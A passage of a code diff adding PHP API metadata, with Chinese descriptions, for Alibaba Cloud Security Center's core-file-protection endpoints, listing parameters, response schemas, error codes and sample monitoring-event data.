'enum' => [ + '0', + '1', + '2', + '3', + ], + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'tetsRule', + ], + ], + [ + 'name' => 'AlertLevels', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '报警通知级别列表。', + 'type' => 'array', + 'items' => [ + 'description' => '报警通知级别列表。取值：'."\n" + ."\n" + .'1. high'."\n" + .'2. medium'."\n" + .'3. low', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的ID。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp1g6wxdwps7s9dz****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'eb2c782e-64f2-4590-a86c-d90164df****', + ], + ], + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'InternetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '120.27.XX.XX', + ], + ], + [ + 'name' => 'IntranetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '内网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '172.26.XX.XX', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '查询开始时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1680919232000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1649040221', + ], + ], + [ + 'name' => 'Operation', + 'in' => 'query', + 'schema' => [ + 'description' => '对文件的操作类型。取值：'."\n" + ."\n" + .'- **DELETE**： 对文件删除操作。'."\n" + .'- **WRITE**：对文件写操作。'."\n" + .'- **READ**：对文件读操作。'."\n" + .'- **RENAME**：对文件重命名操作。'."\n" + .'- **CHOWN**：设置文件所有者和文件关联组操作。', + 'type' => 'string', + 'required' => false, + 'example' => 'READ', + ], + ], + [ + 'name' => 'SelectAllAcrossPages', + 'in' => 'query', + 'schema' => [ + 'description' => '跨页全选标识。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\"\\n}","type":"json"}]', + 'title' => '修改核心文件保护事件状态', + ], + 'GetFileProtectDashboard' => [ + 'summary' => '获取核心文件监控功能大盘信息，包括生效规则数量、插件安装情况等。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'EnableRuleCount' => [ + 'description' => '启用的规则总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'PluginCount' => [ + 'description' => '插件安装总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'PluginOnlineCount' => [ + 'description' => '当前在线的插件总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'PluginOfflineCount' => [ + 'description' => '当前离线的插件总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"Data\\": {\\n \\"EnableRuleCount\\": 12,\\n \\"PluginCount\\": 12,\\n \\"PluginOnlineCount\\": 11,\\n \\"PluginOfflineCount\\": 1\\n }\\n}","type":"json"}]', + 'title' => '获取文件保护看板数据', + ], + 'ListFileProtectEvent' => [ + 'summary' => '根据相关条件，筛选出符合条件的规则列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '189052', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-rule-1', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '事件状态。取值如下：'."\n" + ."\n" + .'- 0： 未处理 '."\n" + .'- 1： 我已手工处理'."\n" + .'- 2： 已加白'."\n" + .'- 3： 已忽略', + 'type' => 'string', + 'required' => false, + 'example' => '2', + 'enum' => [ + '0', + '1', + '2', + '3', + ], + ], + ], + [ + 'name' => 'AlertLevels', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '报警通知级别列表。', + 'type' => 'array', + 'items' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0： 不告警'."\n" + ."\n" + .'- 1： 提醒'."\n" + ."\n" + .'- 2： 可疑'."\n" + ."\n" + .'- 3： 高危', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'minimum' => '1', + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'string', + 'required' => false, + 'example' => '20', + 'maxLength' => 100, + 'minLength' => 1, + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的ID。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp1g6wxdwps7s9dz****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。'."\n" + .'>调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + ], + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ca_cpm_****', + ], + ], + [ + 'name' => 'InternetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询资产的公网IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '120.27.XX.XX', + ], + ], + [ + 'name' => 'IntranetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询资产的私网IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '172.26.XX.XX', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1656038740435', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1683257937775', + ], + ], + [ + 'name' => 'Operation', + 'in' => 'query', + 'schema' => [ + 'description' => '对文件的操作类型。取值：'."\n" + ."\n" + .'- **DELETE**： 对文件删除操作。'."\n" + .'- **WRITE**：对文件写操作。'."\n" + .'- **READ**：对文件读操作。'."\n" + .'- **RENAME**：对文件重命名操作。'."\n" + .'- **CHOWN**：设置文件所有者和文件关联组操作。', + 'type' => 'string', + 'required' => false, + 'example' => 'READ', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '23AD0BD2-8771-5647-819E-6BA51E212F80', + ], + 'EventList' => [ + 'description' => '事件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '文件监控事件。', + 'type' => 'object', + 'properties' => [ + 'AlertLevel' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0：不告警'."\n" + ."\n" + .'- 1： 提醒'."\n" + ."\n" + .'- 2： 可疑'."\n" + ."\n" + .'- 3： 高危', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Uuid' => [ + 'description' => '进程关联的服务器的UUID。', + 'type' => 'string', + 'example' => '94b44720-d982-4d20-a4e1-80a1a57b****', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test-rule-1'."\n", + ], + 'LatestTime' => [ + 'description' => '事件最近一次发生时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694576692000', + ], + 'Status' => [ + 'description' => '事件状态。取值如下：'."\n" + ."\n" + .'- 0： 未处理 '."\n" + .'- 1： 我已手工处理'."\n" + .'- 2： 已加白'."\n" + .'- 3： 已忽略', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Id' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '161757', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'kyy-admin-01', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '121.40.XX.XX'."\n", + ], + 'IntranetIp' => [ + 'description' => '当前资产的私网IP地址。'."\n", + 'type' => 'string', + 'example' => '172.22.XX.XX', + ], + 'FilePath' => [ + 'description' => '进程操作的文件路径。', + 'type' => 'string', + 'example' => '/etc/pam.d/su', + ], + 'Operation' => [ + 'description' => '进程对文件进行的操作。', + 'type' => 'string', + 'example' => 'DELETE', + ], + 'Remark' => [ + 'description' => '备注。', + 'type' => 'string', + 'example' => 'test', + ], + 'ProcPermission' => [ + 'description' => '进程权限。', + 'type' => 'string', + 'example' => 'rwxr-xr-x', + ], + 'CmdLine' => [ + 'description' => '事件命令行。', + 'type' => 'string', + 'example' => '["touch","/test/aaaa"]', + ], + 'ProcPath' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'example' => ' /usr/bin/sshpass', + ], + 'HandleTime' => [ + 'description' => '事件处理时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694576692000', + ], + 'ProcessId' => [ + 'description' => '事件进程ID。', + 'type' => 'string', + 'example' => '52636', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：widows'."\n" + .'- **linux**：linux', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E212F80\\",\\n \\"EventList\\": [\\n {\\n \\"AlertLevel\\": 1,\\n \\"Uuid\\": \\"94b44720-d982-4d20-a4e1-80a1a57b****\\",\\n \\"RuleName\\": \\"test-rule-1\\\\n\\",\\n \\"LatestTime\\": 1694576692000,\\n \\"Status\\": 1,\\n \\"Id\\": 161757,\\n \\"InstanceName\\": \\"kyy-admin-01\\",\\n \\"InternetIp\\": \\"121.40.XX.XX\\\\n\\",\\n \\"IntranetIp\\": \\"172.22.XX.XX\\",\\n \\"FilePath\\": \\"/etc/pam.d/su\\",\\n \\"Operation\\": \\"DELETE\\",\\n \\"Remark\\": \\"test\\",\\n \\"ProcPermission\\": \\"rwxr-xr-x\\",\\n \\"CmdLine\\": \\"[\\\\\\"touch\\\\\\",\\\\\\"/test/aaaa\\\\\\"]\\",\\n \\"ProcPath\\": \\" /usr/bin/sshpass\\",\\n \\"HandleTime\\": 1694576692000,\\n \\"ProcessId\\": \\"52636\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n }\\n}","type":"json"}]', + 'title' => '获取核心文件保护告警事件列表', + ], + 'DeleteFileProtectRule' => [ + 'summary' => '删除核心文件功能对应的规则。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '188795', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要删除的规则ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '11', + ], + 'required' => false, + 'maxItems' => 100, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7FD1C1DC-AA67-510A-A022-5D23310C3658', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7FD1C1DC-AA67-510A-A022-5D23310C3658\\"\\n}","type":"json"}]', + 'title' => '删除核心文件保护规则', + ], + 'GetFileProtectEventCount' => [ + 'summary' => '根据相关条件筛选出当前用户核心文件的监控事件总数。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [ + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '事件筛选状态。取值包括：'."\n" + ."\n" + .'- 0： 未处理。'."\n" + ."\n" + .'- 1： 已处理。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + 'enum' => [ + '0', + '1', + ], + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9B28EC81-2FA7-5097-80D9-0DBE1A3DBD59', + ], + 'Data' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9B28EC81-2FA7-5097-80D9-0DBE1A3DBD59\\",\\n \\"Data\\": 16\\n}","type":"json"}]', + 'title' => '获取核心文件监控事件总数', + ], + 'UpdateFileProtectRemark' => [ + 'summary' => '对客户端上报的核心文件监控事件备注。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1764', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '备注。', + 'type' => 'array', + 'items' => [ + 'description' => '事件备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'Remark测试', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'IdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '事件ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + 'required' => false, + 'maxItems' => 500, + ], + ], + [ + 'name' => 'SelectAllAcrossPages', + 'in' => 'query', + 'schema' => [ + 'description' => '跨页全选标识。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的ID。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp1g6wxdwps7s9dz****', + ], + ], + [ + 'name' => 'AlertLevels', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '报警通知级别列表。', + 'type' => 'array', + 'items' => [ + 'description' => '报警通知级别列表。取值：'."\n" + ."\n" + .'1. high'."\n" + .'2. medium'."\n" + .'3. low', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '5d55af3c-35f3-4d4d-8ccc-8c5443b0****', + ], + ], + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'InternetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '101.132.XX.XX', + ], + ], + [ + 'name' => 'IntranetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '内网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '172.26.XX.XX', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1651290987000', + ], + ], + [ + 'name' => 'Operation', + 'in' => 'query', + 'schema' => [ + 'description' => '对文件的操作类型。取值：'."\n" + ."\n" + .'- **DELETE**： 对文件删除操作。'."\n" + .'- **WRITE**：对文件写操作。'."\n" + .'- **READ**：对文件读操作。'."\n" + .'- **RENAME**：对文件重命名操作。'."\n" + .'- **CHOWN**：设置文件所有者和文件关联组操作。', + 'type' => 'string', + 'required' => false, + 'example' => 'READ', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-rule-1', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1649040221', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '226440DF-DFCD-5B93-9951-FCF0A16A6B78', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"226440DF-DFCD-5B93-9951-FCF0A16A6B78\\"\\n}","type":"json"}]', + 'title' => '修改核心文件监控事件备注信息', + ], + 'GetFileProtectEvent' => [ + 'summary' => '获取核心文件监控事件的信息详情。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '12', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'Data' => [ + 'description' => '返回数据详情。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '49f1360f-62c8-4b48-a24c-5cc317656419', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test-000', + ], + 'FirstTime' => [ + 'description' => '首次发生时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694576692000', + ], + 'LatestTime' => [ + 'description' => '事件最近一次发生时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694576692000', + ], + 'Status' => [ + 'description' => '事件状态。取值如下：'."\n" + ."\n" + .'- 0： 未处理 '."\n" + .'- 1： 我已手工处理'."\n" + .'- 2： 已加白'."\n" + .'- 3： 已忽略', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + 'enum' => [ + '0', + '1', + '2', + ], + ], + 'ProcPath' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'example' => '/bin/bash33', + ], + 'FilePath' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => '/usr/local', + ], + 'CmdLine' => [ + 'description' => '事件命令行。', + 'type' => 'string', + 'example' => '["touch","/usr/local/aaaa"]', + ], + 'FilePermission' => [ + 'description' => '进程权限。', + 'type' => 'string', + 'example' => 'rwxr-xr-x', + ], + 'Operation' => [ + 'description' => '进程对文件进行的操作。', + 'type' => 'string', + 'example' => 'DELETE', + ], + 'Id' => [ + 'description' => '唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '55037', + ], + 'AlertLevel' => [ + 'description' => '报警通知级别。取值如下：'."\n" + ."\n" + .'- 0： 不告警'."\n" + ."\n" + .'- 1： 提醒'."\n" + ."\n" + .'- 2： 可疑'."\n" + ."\n" + .'- 3： 高危', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + 'enum' => [ + '0', + '1', + '2', + '3', + ], + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'i-wz92q7m5hsbgfhdss***', + ], + 'InternetIp' => [ + 'description' => '关联实例的公网IP。', + 'type' => 'string', + 'example' => '172.16.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '关联实例的私网IP。', + 'type' => 'string', + 'example' => '10.42.XX.XX', + ], + 'HandleTime' => [ + 'description' => '事件处理时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1694576692000', + ], + 'Remark' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'example' => '["test"]', + ], + 'ProcessId' => [ + 'description' => '事件进程ID。', + 'type' => 'string', + 'example' => '3453', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：widows'."\n" + .'- **linux**：linux', + 'type' => 'string', + 'example' => 'linux', + ], + 'UserId' => [ + 'description' => '启动当前进程的用户ID。', + 'type' => 'string', + 'example' => '1001', + ], + 'UserName' => [ + 'description' => '启动当前进程的用户名。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"Data\\": {\\n \\"Uuid\\": \\"49f1360f-62c8-4b48-a24c-5cc317656419\\",\\n \\"RuleName\\": \\"test-000\\",\\n \\"FirstTime\\": 1694576692000,\\n \\"LatestTime\\": 1694576692000,\\n \\"Status\\": 1,\\n \\"ProcPath\\": \\"/bin/bash33\\",\\n \\"FilePath\\": \\"/usr/local\\",\\n \\"CmdLine\\": \\"[\\\\\\"touch\\\\\\",\\\\\\"/usr/local/aaaa\\\\\\"]\\",\\n \\"FilePermission\\": \\"rwxr-xr-x\\",\\n \\"Operation\\": \\"DELETE\\",\\n \\"Id\\": 55037,\\n \\"AlertLevel\\": 1,\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"HandleTime\\": 1694576692000,\\n \\"Remark\\": \\"[\\\\\\"test\\\\\\"]\\",\\n \\"ProcessId\\": \\"3453\\",\\n \\"Platform\\": \\"linux\\",\\n \\"UserId\\": \\"1001\\",\\n \\"UserName\\": \\"test\\"\\n }\\n}","type":"json"}]', + 'title' => '获取核心文件监控事件详情', + ], + 'UpdateFileProtectRule' => [ + 'summary' => '根据核心文件监控规则的ID，修改当前规则的内容。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 